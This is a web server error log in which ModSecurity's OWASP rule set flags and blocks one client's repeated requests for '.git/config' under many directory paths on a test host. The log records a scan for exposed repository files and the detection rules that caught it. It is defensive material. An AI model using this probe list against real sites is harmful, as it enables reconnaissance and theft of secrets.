[Thu May 09 04:39:59.183631 2024] [:error] [pid 3087474] [client 91.215.85.43:45906] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuNwAAAAY&quot;]
[Thu May 09 04:39:59.184023 2024] [:error] [pid 3087474] [client 91.215.85.43:45906] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuNwAAAAY&quot;]
[Thu May 09 04:39:59.190631 2024] [:error] [pid 3087042] [client 91.215.85.43:45920] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YCgAAAAA&quot;]
[Thu May 09 04:39:59.190844 2024] [:error] [pid 3087042] [client 91.215.85.43:45920] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YCgAAAAA&quot;]
[Thu May 09 04:39:59.191015 2024] [:error] [pid 3087042] [client 91.215.85.43:45920] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YCgAAAAA&quot;]
[Thu May 09 04:39:59.194776 2024] [:error] [pid 3087043] [client 91.215.85.43:45924] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSgwAAAAE&quot;]
[Thu May 09 04:39:59.195030 2024] [:error] [pid 3087043] [client 91.215.85.43:45924] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSgwAAAAE&quot;]
[Thu May 09 04:39:59.195250 2024] [:error] [pid 3087043] [client 91.215.85.43:45924] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSgwAAAAE&quot;]
[Thu May 09 04:39:59.237852 2024] [:error] [pid 3087046] [client 91.215.85.43:45938] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5SwAAAAQ&quot;]
[Thu May 09 04:39:59.238379 2024] [:error] [pid 3087046] [client 91.215.85.43:45938] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5SwAAAAQ&quot;]
[Thu May 09 04:39:59.238704 2024] [:error] [pid 3087046] [client 91.215.85.43:45938] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5SwAAAAQ&quot;]
[Thu May 09 04:39:59.242279 2024] [:error] [pid 3087044] [client 91.215.85.43:45950] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-AAAAAI&quot;]
[Thu May 09 04:39:59.242676 2024] [:error] [pid 3087044] [client 91.215.85.43:45950] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-AAAAAI&quot;]
[Thu May 09 04:39:59.242976 2024] [:error] [pid 3087044] [client 91.215.85.43:45950] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-AAAAAI&quot;]
[Thu May 09 04:39:59.275892 2024] [:error] [pid 3087045] [client 91.215.85.43:46058] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /live/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64DgAAAAM&quot;]
[Thu May 09 04:39:59.277824 2024] [:error] [pid 3087047] [client 91.215.85.43:45998] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /demo/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYAAAAAU&quot;]
[Thu May 09 04:39:59.278361 2024] [:error] [pid 3087047] [client 91.215.85.43:45998] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYAAAAAU&quot;]
[Thu May 09 04:39:59.279117 2024] [:error] [pid 3087047] [client 91.215.85.43:45998] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYAAAAAU&quot;]
[Thu May 09 04:39:59.280834 2024] [:error] [pid 3087045] [client 91.215.85.43:46058] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64DgAAAAM&quot;]
[Thu May 09 04:39:59.281097 2024] [:error] [pid 3087045] [client 91.215.85.43:46058] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64DgAAAAM&quot;]
[Thu May 09 04:39:59.281435 2024] [:error] [pid 3087474] [client 91.215.85.43:45960] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOAAAAAY&quot;]
[Thu May 09 04:39:59.281767 2024] [:error] [pid 3087474] [client 91.215.85.43:45960] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOAAAAAY&quot;]
[Thu May 09 04:39:59.282012 2024] [:error] [pid 3087474] [client 91.215.85.43:45960] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOAAAAAY&quot;]
[Thu May 09 04:39:59.282065 2024] [:error] [pid 3088694] [client 91.215.85.43:46014] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FxgAAAAc&quot;]
[Thu May 09 04:39:59.282395 2024] [:error] [pid 3088694] [client 91.215.85.43:46014] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FxgAAAAc&quot;]
[Thu May 09 04:39:59.282649 2024] [:error] [pid 3088694] [client 91.215.85.43:46014] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FxgAAAAc&quot;]
[Thu May 09 04:39:59.290460 2024] [:error] [pid 3087042] [client 91.215.85.43:45926] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YCwAAAAA&quot;]
[Thu May 09 04:39:59.290686 2024] [:error] [pid 3087042] [client 91.215.85.43:45926] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YCwAAAAA&quot;]
[Thu May 09 04:39:59.290860 2024] [:error] [pid 3087042] [client 91.215.85.43:45926] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YCwAAAAA&quot;]
[Thu May 09 04:39:59.292479 2024] [:error] [pid 3087043] [client 91.215.85.43:46036] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /flock/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShAAAAAE&quot;]
[Thu May 09 04:39:59.292712 2024] [:error] [pid 3087043] [client 91.215.85.43:46036] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShAAAAAE&quot;]
[Thu May 09 04:39:59.292888 2024] [:error] [pid 3087043] [client 91.215.85.43:46036] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShAAAAAE&quot;]
[Thu May 09 04:39:59.335076 2024] [:error] [pid 3087046] [client 91.215.85.43:46020] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /dev/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TAAAAAQ&quot;]
